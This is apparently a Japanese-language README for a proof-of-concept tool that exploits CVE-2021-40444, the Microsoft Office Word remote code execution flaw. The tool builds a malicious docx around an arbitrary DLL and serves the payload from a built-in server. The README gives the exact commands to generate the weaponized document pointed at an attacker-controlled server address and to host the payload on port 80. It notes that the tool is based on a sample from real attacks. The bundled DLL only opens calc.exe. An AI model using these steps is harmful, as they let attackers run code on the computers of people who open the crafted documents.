w1kyri3/exploit-poc-cve-2021-40444-inject-ma-doc-vao-docxCVE-2021-40444を悪用した悪意のあるDOCXファイルを生成し、巧妙に細工されたOffice文書を介してリモートコード実行を実現します。ペイロード配信用の統合ホスティングサーバーを備えています。
CVE-2021-40444 (Microsoft Office Word リモートコード実行) を悪用する悪意のある docx ジェネレーター
このスクリプトの作成は、実際に使用されたサンプルをリバースエンジニアリングした結果に基づいています: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx ファイル)
最初に lcab をインストールする必要があります (sudo apt-get install lcab)
手動での再現手順は REPRODUCE.md を確認してください
生成された cab が動作しない場合は、exploit.html の URL を calc.cab に指定してみてください
まず、DLL を指定して悪意のある docx 文書を生成します。test/calc.dll にある DLL を使用できます。これは system() の呼び出しで calc.exe を起動するものです。
python3 exploit.py generate test/calc.dll http://<SRV IP>
悪意のある docx (out/ に生成されます) を作成したら、サーバーをセットアップします:
sudo python3 exploit.py host 80
最後に、Windows 仮想マシンで docx を試してみてください:
